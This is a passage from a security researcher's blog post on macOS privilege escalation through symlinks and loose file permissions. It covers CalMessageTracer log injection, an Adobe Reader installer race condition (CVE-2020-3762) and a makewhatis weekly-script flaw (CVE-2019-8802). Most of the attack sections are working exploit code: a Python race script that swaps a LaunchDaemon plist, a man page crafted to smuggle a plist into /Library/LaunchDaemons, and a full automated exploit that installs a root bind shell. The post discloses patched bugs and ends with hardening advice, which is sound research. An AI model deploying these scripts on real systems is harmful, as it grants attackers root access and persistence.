rax = [r13 numberOfEventsAffected];
rax = [NSNumber numberWithInteger:rax];
rax = [rax retain];
r15 = rax;
var_B0 = rax;
var_B8 = [[NSNumber numberWithInteger:[r13 numberOfNotificationsAffected]] retain];
rax = [NSString stringWithUTF8String:rbx];
rax = [rax retain];
rbx = rax;
var_A8 = rax;
rax = [NSString stringWithUTF8String:&var_A0];
r14 = [rax retain];
rax = @(0x0);
rax = [rax retain];
var_28 = r15;
var_30 = var_C0;
[CalMessageTracer log:@"CalDAV account refresh completed" domain:@"com.apple.sleepservices.icalData" signature:@"CalDAV account refresh statistics" result:0x0 value:var_30 value2:var_28 value3:var_B8 uid:rbx uid2:r14 wakeState:rax];
[rax release];
rdi = r14;
r14 = var_C8;
[rdi release];
[var_A8 release];
[var_B8 release];
[var_B0 release];
[var_C0 release];
}
}
if (**___stack_chk_guard != var_30) {
__stack_chk_fail();
}
return;
}
This is nice and easy to read, and we can see right away that the log is generated by calling the CalMessageTracer
function. This function can be found in the CalendarFoundation
binary, which is here: /System/Library/PrivateFrameworks//CalendarFoundation.framework/Versions/Current/CalendarFoundation
. If we check the function we can see that indeed it will use the ASL API:
But things weren’t as straightforward. If we track the CalDAV account refresh completed
string / argument, we can see that it’s the first parameter of the CalMessageTracer
function. Its life will be:
var_78 = [arg2 retain];
(...)
r13 = var_78;
(...)
and then we get to this huge blob:
if (r13 != 0x0) {
if (*(int32_t *)_CalLogCurrentLevel != 0x0) {
rbx = [_CalLogWhiteList() retain];
r13 = [rbx containsObject:*_CalFoundationNS_Log_MessageTrace];
[rbx release];
COND = r13 != 0x1;
r13 = var_78;
if (!COND) {
CFAbsoluteTimeGetCurrent();
_CalLogActual(*_CalFoundationNS_Log_MessageTrace, 0x0, "+[CalMessageTracer log:domain:signature:signature2:result:value:value2:value3:uid:uid2:wakeState:summarize:]", @"%@", r13, r9, stack[-152]);
}
}
else {
CFAbsoluteTimeGetCurrent();
_CalLogActual(*_CalFoundationNS_Log_MessageTrace, 0x0, "+[CalMessageTracer log:domain:signature:signature2:result:value:value2:value3:uid:uid2:wakeState:summarize:]", @"%@", r13, r9, stack[-152]);
}
asl_log(0x0, r15, 0x5, "%s", [objc_retainAutorelease(r13) UTF8String]);
r14 = var_38;
}
So if there is a custom message, additional function calls are involved. This is the point where I stopped, and since CalMessageTracer
can already do what I want (it will wrap the ASL API for me) I can use just that. I didn’t need to generate a header file, as I could find it here:
macOS_headers/CalMessageTracer.h at master · w0lfschild/macOS_headers · GitHub
It wasn’t new, but it worked.
#import <Foundation/NSObject.h>
@interface CalMessageTracer : NSObject
{
}
+ (void)logError:(id)arg1 message:(id)arg2 domain:(id)arg3;
+ (void)logError:(id)arg1 message:(id)arg2 domain:(id)arg3 uid:(id)arg4;
+ (void)logException:(id)arg1 message:(id)arg2 domain:(id)arg3;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5 summarize:(BOOL)arg6;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5 value2:(id)arg6 uid:(id)arg7;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5 value2:(id)arg6 value3:(id)arg7 uid:(id)arg8 uid2:(id)arg9 wakeState:(id)arg10;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 signature2:(id)arg4 summarize:(BOOL)arg5;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 summarize:(BOOL)arg4;
+ (void)log:(id)arg1 domain:(id)arg2 summarize:(BOOL)arg3;
+ (void)traceWithDomain:(id)arg1 value:(id)arg2 summarize:(BOOL)arg3;
+ (void)traceWithDomain:(id)arg1 signature:(id)arg2 summarize:(BOOL)arg3;
+ (void)traceWithDomain:(id)arg1 signature:(id)arg2 result:(int)arg3;
+ (void)traceWithDomain:(id)arg1 signature:(id)arg2 signature2:(id)arg3 summarize:(BOOL)arg4;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 signature2:(id)arg4 result:(int)arg5 value:(id)arg6 value2:(id)arg7 value3:(id)arg8 uid:(id)arg9 uid2:(id)arg10 wakeState:(id)arg11 summarize:(BOOL)arg12;
+ (void)messageTraceLogDomain:(id)arg1 withSignature:(id)arg2;
@end
What I left to do is create a code that will call the function in its simplest form. Did I say before that I hate the syntax of Objective-C and that I’m not an Apple developer? Patrick Wardle’s post: Reversing ‘pkgutil’ to Verify PKGs came to the rescue. I remembered that he did something similar with pkgutil
and he had a step by step walkthrough how to call an external function. Using his post, I created the following code to do the trick:
#import <dlfcn.h>
#import <Foundation/Foundation.h>
#import "CalMessageTracer.h"
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Hello, World!");
void* tracer = NULL;
//load framework
tracer = dlopen("/System/Library/PrivateFrameworks/CalendarFoundation.framework/Versions/Current/CalendarFoundation", RTLD_LAZY);
if(NULL == tracer)
{
//bail
goto bail;
}
//class
Class CalMessageTracerCl = nil;
//obtain class
CalMessageTracerCl = NSClassFromString(@"CalMessageTracer");
if(nil == CalMessageTracerCl)
{
//bail
goto bail;
}
//+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4;
[CalMessageTracerCl log:@"your message here" domain:@"com.apple.sleepservices.icalData" signature:@"CalDAV account refresh statistics" result:0x0];
}
return 0;
bail:
return -1;
}
This will create a log for you, and in the log
parameter you can insert you custom string, thus injecting something useful to the ASL binary.
Unfortunately this is still not good enough for a direct root
code execution, but you might have a use case where this might be enough, where there is some other item where this could be chained.
Also hopefully this gave you some ideas how to do some basic reverse engineering when you want to backtrace a function call, and possibly call it in your code.
This was fixed in Catalina 10.15.3, with file permissions changed:
drwxr-x— 4 root admin 128 Dec 21 12:42 DiagnosticMessages
Adobe Reader macOS installer - local privilege escalation (CVE-2020-3762) Link to heading
This is finally a true privilege escalation scenario. It’s in the Adobe Reader’s installer, related to the Acrobat Update Helper.app
component. An attacker can replace any file during the installation and the installer will copy that to a new place. Replacing the LaunchDaemon plist file with our own, we can achieve root privileges, and also persistence at the same time.
When Adobe Reader is being installed it will create the following folder structure in the /tmp/
directory which is writeable for all users:
$ ls -lR com.adobe.AcrobatRefreshManager/
total 528
drwxr-xr-x 3 root wheel 96 Jul 31 16:30 Acrobat Update Helper.app
-rwxr-xr-x 1 root wheel 80864 Jul 31 16:36 AcrobatUpdateHelperLib.dylib
-rwxr-xr-x 1 root wheel 184512 Jul 31 16:36 AcrobatUpdaterUninstaller
drwxr-xr-x 3 root wheel 96 Jul 31 16:35 Adobe Acrobat Updater.app
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app:
total 0
drwxr-xr-x 7 root wheel 224 Jul 31 16:37 Contents
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents:
total 16
-rw-r--r-- 1 root wheel 1778 Jul 31 16:29 Info.plist
drwxr-xr-x 3 root wheel 96 Jul 31 16:37 MacOS
-rw-r--r-- 1 root wheel 8 Jul 31 16:29 PkgInfo
drwxr-xr-x 3 root wheel 96 Jul 31 16:37 Resources
drwxr-xr-x 3 root wheel 96 Jul 31 16:36 _CodeSignature
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/MacOS:
total 776
-rwxr-xr-x 1 root wheel 393600 Jul 31 16:36 Acrobat Update Helper
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/Resources:
total 8
-rw-r--r-- 1 root wheel 1720 Jul 31 16:29 FileList.txt
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/_CodeSignature:
total 8
-rw-r--r-- 1 root wheel 2518 Jul 31 16:36 CodeResources
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app:
total 0
drwxr-xr-x 6 root wheel 192 Jul 31 16:37 Contents
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents:
total 16
-rw-r--r-- 1 root wheel 2295 Jul 31 16:35 Info.plist
drwxr-xr-x 3 root wheel 96 Jul 31 16:35 Library
-rw-r--r-- 1 root wheel 8 Jul 31 16:35 PkgInfo
drwxr-xr-x 3 root wheel 96 Jul 31 16:37 Resources
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library:
total 0
drwxr-xr-x 6 root wheel 192 Jul 31 16:37 LaunchServices
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library/LaunchServices:
total 728
-rw-r--r-- 1 root wheel 474 Jul 31 16:35 ARMNextCommunicator-Launchd.plist
-rw-r--r-- 1 root wheel 486 Jul 31 16:35 SMJobBlessHelper-Launchd.plist
-rwxr-xr-x 1 root wheel 176000 Jul 31 16:35 com.adobe.ARMDC.Communicator
-rwxr-xr-x 1 root wheel 184528 Jul 31 16:35 com.adobe.ARMDC.SMJobBlessHelper
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Resources:
total 480
-rw-r--r-- 1 root wheel 244307 Jul 31 16:35 app.icns
csabyworkmac:tmp csaby$ ls -lR com.adobe.AcrobatRefreshManager/
total 528
drwxr-xr-x 3 root wheel 96 Jul 31 16:30 Acrobat Update Helper.app
-rwxr-xr-x 1 root wheel 80864 Jul 31 16:36 AcrobatUpdateHelperLib.dylib
-rwxr-xr-x 1 root wheel 184512 Jul 31 16:36 AcrobatUpdaterUninstaller
drwxr-xr-x 3 root wheel 96 Jul 31 16:35 Adobe Acrobat Updater.app
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app:
total 0
drwxr-xr-x 7 root wheel 224 Jul 31 16:37 Contents
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents:
total 16
-rw-r--r-- 1 root wheel 1778 Jul 31 16:29 Info.plist
drwxr-xr-x 3 root wheel 96 Jul 31 16:37 MacOS
-rw-r--r-- 1 root wheel 8 Jul 31 16:29 PkgInfo
drwxr-xr-x 3 root wheel 96 Jul 31 16:37 Resources
drwxr-xr-x 3 root wheel 96 Jul 31 16:36 _CodeSignature
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/MacOS:
total 776
-rwxr-xr-x 1 root wheel 393600 Jul 31 16:36 Acrobat Update Helper
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/Resources:
total 8
-rw-r--r-- 1 root wheel 1720 Jul 31 16:29 FileList.txt
com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/_CodeSignature:
total 8
-rw-r--r-- 1 root wheel 2518 Jul 31 16:36 CodeResources
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app:
total 0
drwxr-xr-x 6 root wheel 192 Jul 31 16:37 Contents
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents:
total 16
-rw-r--r-- 1 root wheel 2295 Jul 31 16:35 Info.plist
drwxr-xr-x 3 root wheel 96 Jul 31 16:35 Library
-rw-r--r-- 1 root wheel 8 Jul 31 16:35 PkgInfo
drwxr-xr-x 3 root wheel 96 Jul 31 16:37 Resources
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library:
total 0
drwxr-xr-x 6 root wheel 192 Jul 31 16:37 LaunchServices
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library/LaunchServices:
total 728
-rw-r--r-- 1 root wheel 474 Jul 31 16:35 ARMNextCommunicator-Launchd.plist
-rw-r--r-- 1 root wheel 486 Jul 31 16:35 SMJobBlessHelper-Launchd.plist
-rwxr-xr-x 1 root wheel 176000 Jul 31 16:35 com.adobe.ARMDC.Communicator
-rwxr-xr-x 1 root wheel 184528 Jul 31 16:35 com.adobe.ARMDC.SMJobBlessHelper
com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Resources:
total 480
-rw-r--r-- 1 root wheel 244307 Jul 31 16:35 app.icns
During the installation the following files will be copied into /Library/LaunchDaemons
.
-rw-r--r-- 1 root wheel 474 Jul 31 16:35 ARMNextCommunicator-Launchd.plist
-rw-r--r-- 1 root wheel 486 Jul 31 16:35 SMJobBlessHelper-Launchd.plist
With a new name:
$ ls -l /Library/LaunchDaemons/ | grep adobe
total 144
-rw-r--r-- 1 root wheel 474 Nov 11 19:20 com.adobe.ARMDC.Communicator.plist
-rw-r--r-- 1 root wheel 486 Nov 11 19:20 com.adobe.ARMDC.SMJobBlessHelper.plist
Although these files are all owned by root, and thus we can’t modify them, the location of these files is fixed, thus we can pre-create any of the folders / files. During installation the installer will verify if the folder already exists, and if so, delete it. However between the deletion and recreation there is enough time to recreate the folders with our user. It’s a race condition but in my experiments I always won it.
The first step in our exploit is to continuously try to create the following folder:
/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices
If we succeed it means that we will own the entire folder structure. At that point it’s ok if Adobe places there any files. Although the files themselves will be owned by root, we are still allowed to delete them as we own the directory. Once we delete the file, we can replace any of them with our own. My target is the plist file which will be copied to the /Library/LaunchDaemon
directory. We can also easily win this race condition.
The entire exploit can be automated with a short python script:
import os
import shutil
while(1):
try:
os.system("mkdir -p \"/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices\"")
if os.stat('/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices/SMJobBlessHelper-Launchd.plist').st_uid == 0:
os.remove("/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices/SMJobBlessHelper-Launchd.plist")
shutil.copy2('/Users/Shared/com.adobe.exploit.plist', '/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices/SMJobBlessHelper-Launchd.plist')
except:
continue
The contents of the plist file is the following:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.adobe.ARMDC.SMJobBlessHelper</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>/Users/Shared/a.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
a.sh
is:
touch /Library/adobe.txt
As it’s placed inside LaunchDaemons, it will run upon next boot with root
privileges.
This was fixed in February 11, 2020: https://helpx.adobe.com/security/products/acrobat/apsb20-05.html
macOS periodic scripts - 320.whatis script privilege escalation to root (CVE-2019-8802) Link to heading
Finally a tru privilege escalation also on macOS. This is my favorite because of the way I could affect the contents of the file.
macOS has a couple of maintenance scripts, that are scheduled to run via the periodic task daily / weekly / monthly. You can read more about them here: Why you should run maintenance scripts on macOS and how to do it Terminal commands, periodic etc - Apple Community
The scripts are scheduled by Apple LaunchDaemons, that can be found here:
csabymac:LaunchDaemons csaby$ ls -l /System/Library/LaunchDaemons/ | grep periodic
-rw-r--r-- 1 root wheel 887 Aug 18 2018 com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 Aug 18 2018 com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 Aug 18 2018 com.apple.periodic-weekly.plist
and these will run by the periodic_wrapper
process, which runs as root, more on this process here:
periodic-wrapper(8) mojave man page
For example the daily PLIST looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" " [http://www.apple.com/DTDs/PropertyList-1.0.dtd](http://www.apple.com/DTDs/PropertyList-1.0.dtd) ">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.periodic-daily</string>
<key>ProgramArguments</key>
<array>
<string>/usr/libexec/periodic-wrapper</string>
<string>daily</string>
</array>
<key>LowPriorityIO</key>
<true/>
<key>Nice</key>
<integer>1</integer>
<key>LaunchEvents</key>
<dict>
<key>com.apple.xpc.activity</key>
<dict>
<key>com.apple.periodic-daily</key>
<dict>
<key>Interval</key>
<integer>86400</integer>
<key>GracePeriod</key>
<integer>14400</integer>
<key>Priority</key>
<string>Maintenance</string>
<key>AllowBattery</key>
<false/>
<key>Repeating</key>
<true/>
</dict>
</dict>
</dict>
<key>AbandonProcessGroup</key>
<true/>
</dict>
</plist>
There is a weekly script run by the periodic process as root (just like all the other scripts), found here: /etc/periodic/weekly/320.whatis
This script will recreate the whatis database and it will do this with root privileges as we can see through the Monitor.app. It invokes the makewhatis
embedded executable to rebuild the database.
The makewhatis
utility will get the man paths, where /usr/local/share/man
is also included. What makes this folder special is that the normal admin user has write access to this without root privileges.
ls -l /usr/local/share/
drwxr-xr-x 22 csaby wheel 704 Aug 15 16:26 man
If we check further we can see that we also have access to all underlying directories, which is important:
mac:man csaby$ ls -l
total 0
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 de
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 es
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 fr
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 hr
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 hu
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 it
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 ja
drwxr-xr-x 569 csaby wheel 18208 Aug 15 16:26 man1
drwxr-xr-x 2971 csaby admin 95072 Jun 2 20:18 man3
drwxr-xr-x 20 csaby wheel 640 Jun 2 20:18 man5
drwxr-xr-x 32 csaby wheel 1024 Jun 2 20:18 man7
drwxr-xr-x 22 csaby wheel 704 Jun 2 15:38 man8
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 pl
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 pt_BR
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 pt_PT
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 ro
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 ru
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 sk
drwxr-xr-x 3 csaby wheel 96 Apr 13 2018 zh
Since makewhatis
will create a file called whatis.tmp
and we can create symlinks here, we can redirect this file write to somewhere else. I will chose the folder /Library/LaunchDaemons
. If we can place a specially crafted plist
file here, it will be loaded by the system as root upon boot time. The same idea as with the Adobe installer.
makewhatis
will create the whatis
database in the following format:
FcAtomicCreate(3) - create an FcAtomic object
FcAtomicDeleteNew(3) - delete new file
FcAtomicDestroy(3) - destroy an FcAtomic object
FcAtomicLock(3) - lock a file
FcAtomicNewFile(3) - return new temporary file name
FcAtomicOrigFile(3) - return original file name
The first is the name on the man page derived from the file, and the second is the description taken from the NAME section of the man page. I opted to place my custom PLIST under the NAME section, like this:
.SH NAME
7z - <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!--
The <--
at the end is important as we need to comment out the rest of the database in order to get a proper PLIST file, which is in XML format.
We still need to solve 2 issues:
- The name derived from the filename should make sense in XML, otherwise we get a format error, and the PLIST won’t be loaded
- Our custom man page has to be the first to be added to the database in order to comment out the rest of the items
To solve #2 let’s be sure that we don’t have any man page starting with a number, if we have let’s rename them. I had multiple 7z
man pages, so I added an a
before the number to move it down.
To solve the first issue the name of our file should look like this:
<!--7z.1
This is a valid(!) filename on macOS, I took the original 7z.1
man page and renamed it:
mv 7z.1 \<\!--7z.1
We will need to close this comment, so my new NAME section looks like this:
.SH NAME
7z - --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!--
Let’s create our symlink:
ln -s /Library/LaunchDaemons/com.sample.Load.plist whatis.tmp
We can simulate the execution of the periodic script via this command:
sudo /bin/sh - /etc/periodic/weekly/320.whatis
or
sudo periodic weekly
If we check, we got a file, and it starts like this:
<!--7z(1) - --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!
If we load this plist file, it will try to execute the script at /Applications/Scripts/sample.sh
. The location is arbitrary.
I put this into the script above (be sure to give it execute permissions chmod +x /Applications/Scripts/sample.sh
)
/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
If we don’t want to reboot the computer we can simulate the load of the PLIST file with:
sudo launchctl load com.sample.Load.plist
If we want to properly simulate this with a reboot, we can’t start a Terminal, as we won’t see it, we need to do something else. For myself I put a bind shell into that script, and after login, connecting to it I got a root shell, but it’s up to you what you put there. The script contents in this case:
#sample.sh
python /Applications/Scripts/bind.py
The python script, placed at /Applications/Scripts/bind.py
#bind.py
#!/usr/bin/python2
import os
import pty
import socket
lport = 31337
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', lport))
s.listen(1)
(rem, addr) = s.accept()
os.dup2(rem.fileno(),0)
os.dup2(rem.fileno(),1)
os.dup2(rem.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
Once logged in you can login with netcat on localhost:31337:
mac:LaunchDaemons csaby$ nc 127.1 31337
bash-3.2# id
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),702(com.apple.sharepoint.group.3),703(com.apple.sharepoint.group.2),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1)
bash-3.2# exit
exit
I made a Python script to do all the tasks mentioned above:
import sys
import os
man_file_content = """
.TH exploit 1 "August 16 2019" "Csaba Fitzl"
.SH NAME
exploit \- --> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!--
"""
sh_quick_content = """
/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
"""
sh_reboot_content = """
python /Applications/Scripts/bind.py
"""
python_bind_content = """
#!/usr/bin/python2
import os
import pty
import socket
lport = 31337
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', lport))
s.listen(1)
(rem, addr) = s.accept()
os.dup2(rem.fileno(),0)
os.dup2(rem.fileno(),1)
os.dup2(rem.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
"""
def create_man_file():
print("[i] Creating bogus man page: /usr/local/share/man/man1/<!--exploit.1")
f = open('/usr/local/share/man/man1/<!--exploit.1','w')
f.write(man_file_content)
f.close()
def create_symlink():
print("[i] Creating symlink in /usr/local/share/man/")
os.system('ln -s /Library/LaunchDaemons/com.sample.Load.plist /usr/local/share/man/whatis.tmp')
def create_scripts_dir():
print("[i] Creating /Applications/Scripts directory")
os.system('mkdir /Applications/Scripts')
def create_quick_scripts():
create_scripts_dir()
print("[i] Creating script file to be called by LaunchDaemon")
f = open('/Applications/Scripts/sample.sh','w')
f.write(sh_quick_content)
f.close()
os.system('chmod +x /Applications/Scripts/sample.sh')
def create_reboot_scripts():
create_scripts_dir()
print("[i] Creating script file to be called by LaunchDaemon")
f = open('/Applications/Scripts/sample.sh','w')
f.write(sh_reboot_content)
f.close()
os.system('chmod +x /Applications/Scripts/sample.sh')
print("[i] Creating python script for bind shell")
f = open('/Applications/Scripts/bind.py','w')
f.write(python_bind_content)
f.close()
def rename_man_pages():
for root, dirs, files in os.walk("/usr/local/share/man"):
for file in files:
if file[0] in "0123456789": #if filename begins with a number
old_file = os.path.join(root, file)
new_file = os.path.join(root, 'a' + file)
os.rename(old_file, new_file) #rename with adding a prefix
print("[i] Renaming: " + os.path.join(root, file))
def main():
if len(sys.argv) != 2 :
print "[-] Usage: python makewhatis_exploit.py [quick|reboot]"
sys.exit (1)
if sys.argv[1] == 'quick':
create_man_file()
create_symlink()
create_quick_scripts()
rename_man_pages()
print "[+] Everything is set, run periodic tasks with:\nsudo periodic weekly\n[i] and then simulate a boot load with: \nsudo launchctl load com.sample.Load.plist"
elif sys.argv[1] == 'reboot':
create_man_file()
create_symlink()
create_reboot_scripts()
rename_man_pages()
print "[+] Everything is set, run periodic tasks with:\nsudo periodic weekly\n[i] reboot macOS and connect to your root shell via:\nnc 127.1 31337"
else:
print "[-] Invalid arguments"
print "[-] Usage: python makewhatis_exploit.py [quick|reboot]"
if __name__== "__main__":
main()
The command line argument has to be set:
- quick - this will create a shell script which starts Terminal in case you don’t want to reboot the system for testing
- reboot - this is the proper method to fully test the exploit, it will create the bind shell in this case, and you will need to reboot to get a shell
This was fixed in Catalina 10.15.1: About the security content of macOS Catalina 10.15.1, Security Update 2019-001, and Security Update 2019-006 - Apple Support
How to avoid these issues? Link to heading
Overall the best if the directory and the file permissions are aligned. Files in a given directory should follow the ownership and rights of the directory, in the cases we saw here, it would involve that processes running as root
shouldn’t touch files in directories where the owner is someone else. If you really have to do that, you should protect the file with the uchg
flag, so no one, beside a root could modify it. Although there would be still a race condition as for changing the file, the flag has to be lifted up, and then someone could change it.
Installers Link to heading
In case of installers using the /tmp/
directory, a randomly generated directory should be created, so someone wouldn’t have the ability to predict that name, and thus pre-create anything there for abuse. If that’s not the case a process like this could be applied:
- Check if folder owner is
root
and remove all permissions for others and group users - Clean all contents under folder in before any files being copied there
When Symlinks are not followed? Link to heading
In case of file moves symlinks or hard links won’t be followed, take a look at the below experiment:
$ echo aaa > a
$ ln -s a b
$ ls -la
total 8
drwxr-xr-x 4 csaby staff 128 Sep 11 16:16 .
drwxr-xr-x+ 50 csaby staff 1600 Sep 11 16:16 ..
-rw-r--r-- 1 csaby staff 4 Sep 11 16:16 a
lrwxr-xr-x 1 csaby staff 1 Sep 11 16:16 b -> a
$ cat b
aaa
$ echo bbb >> b
$ cat b
aaa
bbb
$ touch c
$ ls -l
total 8
-rw-r--r-- 1 csaby staff 8 Sep 11 16:16 a
lrwxr-xr-x 1 csaby staff 1 Sep 11 16:16 b -> a
-rw-r--r-- 1 csaby staff 0 Sep 11 16:25 c
$ mv c b
$ ls -la
total 8
drwxr-xr-x 4 csaby staff 128 Sep 11 16:25 .
drwxr-xr-x+ 50 csaby staff 1600 Sep 11 16:16 ..
-rw-r--r-- 1 csaby staff 8 Sep 11 16:16 a
-rw-r--r-- 1 csaby staff 0 Sep 11 16:25 b
Even if we create a hardlink instead of symlink, that will be overwritten like in the 1st case. Basically when you move a file X to location Y, if Y is a *link it will be overwritten.
For Objective-C objects, the writeToFile
method will not follow symlink, so it’s safe to use. Take this example:
#include <stdio.h>
#import <Foundation/Foundation.h>
int main(void)
{
NSError *error;
BOOL succeed = [@"testing" writeToFile:@"myfile.txt" atomically:YES encoding:NSUTF8StringEncoding error:&error];
}
Even if you create a symlink named myfile.txt
pointing somewhere, it will be overwritten.
The End Link to heading
This has been a really long post, and I hope it gave you some ideas how to perform symlink or hardlink based attacks on macOS platforms, as well as I could serve with some ideas around impacting file contents.